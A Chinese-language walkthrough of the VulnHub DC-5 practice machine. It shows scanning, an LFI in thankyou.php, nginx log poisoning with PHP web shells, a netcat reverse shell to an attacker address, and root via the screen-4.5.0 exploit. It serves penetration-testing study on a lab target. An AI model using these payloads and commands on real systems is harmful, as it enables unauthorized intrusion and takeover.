DC系列靶机 5/9
主要内容:burp爆破登录框、本地文件包含漏洞(LFI)、nginx错误日志写一句话木马、screen-4.5.0提权
官网下载地址:https://www.vulnhub.com/entry/dc-5,314/
作者主页下载地址:https://www.five86.com/dc-5.html
靶场描述:
信息搜集
主机发现
arp-scan -l
nmap -sP 192.168.1.0/24
netdiscover -r 192.168.1.0/24
-r range
192.168.1.178
端口扫描
nmap -p- -A 192.168.1.178
nmap -sS -p- -A 192.168.1.178
nmap -sT -p- --min-rate 2000 192.168.1.178
--min-rate 最小发包率
扫出端口:80
、111
、58083
,后面两个端口是RPC
服务,不知道咋用
中间件是nginx/1.6.2
目录扫描
查看页面
爆破目录
dirb http://192.168.1.178 /usr/share/wordlists/dirb/big.txt -X .php,,.txt
-X 着重找这几个后缀
我给了两个后缀和一个无后缀
/
/about-us.php
/contact.php
/css/
/faq.php
/footer.php 这个在页面没看到,记录
/images/
/index.php
/solutions.php
/thankyou.php
发现输入框
抓包重放,发现下面这个会变动
在/thankyou.php
中对应下面这个
单独访问/footer.php
,刷新就会变动
应该是thankyou.php
调用了footer.php
,判断可能有本地文件包含漏洞(LFI)
本地文件包含漏洞利用(LFI)
抓包改参数重放
file=/etc/passwd
成功执行,确定有文件包含漏洞
学到了wfuzz的用法
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hl 42 http://192.168.1.178/thankyou.php?FUZZ=/etc/passwd
-c 输出有颜色
-w wordlist
--hl 隐藏Lines列值为42的行(顺序在字典后面,不然会报错
FUZZ fuzz的位置,第二个位置用FUZ2Z,类推第n个用FUZnZ
接下来用burpsuite
抓包,利用文件包含漏洞
前面扫出是nginx
服务,在网站上的操作会被记录到日志文件中
配置文件:/etc/nginx/nginx.conf
错误日志:/var/log/nginx/error.log
访问日志:/var/log/nginx/access.log
查看nginx配置
机器容易出问题,没什么规律,access.log
访问不了,就利用error.log
,再不行就重置机器
反弹shell
可用两种方式,一种是写入<?php system($_GET['abcd']);?>
,通过访问构造的url
执行命令进行反弹shell
,http://192.168.1.101/thankyou.php?file=/var/log/nginx/access.log&abcd=nc -e /bin/bash 192.168.1.101 2333
另一种是写入<?php @eval($_POST['abcd']);?>
,用蚁剑连反弹shell
反弹shell
kali
nc -lvnp 2333
蚁剑shell
nc -e /bin/bash 192.168.1.101 2333
创建交互
python -c 'import pty;pty.spawn("/bin/bash")'
提权
看看sudo
有没有无需密码的命令sudo -l
再看看有无SUID
提权命令
find / -perm -4000 -print 2>/dev/null
screen-4.5.0
可疑,在exploit-db中找找
kali直接命令行查找
searchsploit screen 4.5.0
看标题应该是同一个漏洞,将41154.sh
复制到当前路径
searchsploit -m 41154.sh
打开看看
可以看到,前两段运行后,编译好的文件会放在/tmp
下;第三段是执行程序,应该在目标机器上运行。为避免目标机器环境不支持编译,我们先将前两段剪切出来放本地编译,再将编译好的文件和第三段单独打包的文件放进目标机器中运行。
chmod +x dc5.sh
再执行./dc5.sh
,一般就提到root
权限了,我这glibc
版本问题,运行报错
/tmp/rootshell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by /tmp/rootshell)
ldd --version 查看glibc版本号
更换glibc
有点麻烦,我换wsl2
用ubuntu 20.04 glibc 2.31
进行编译,再传,成功提到root
权限
切换glibc
可以参考:更换glibc版本、pwn题切换不同glibc版本实测
get flag
以上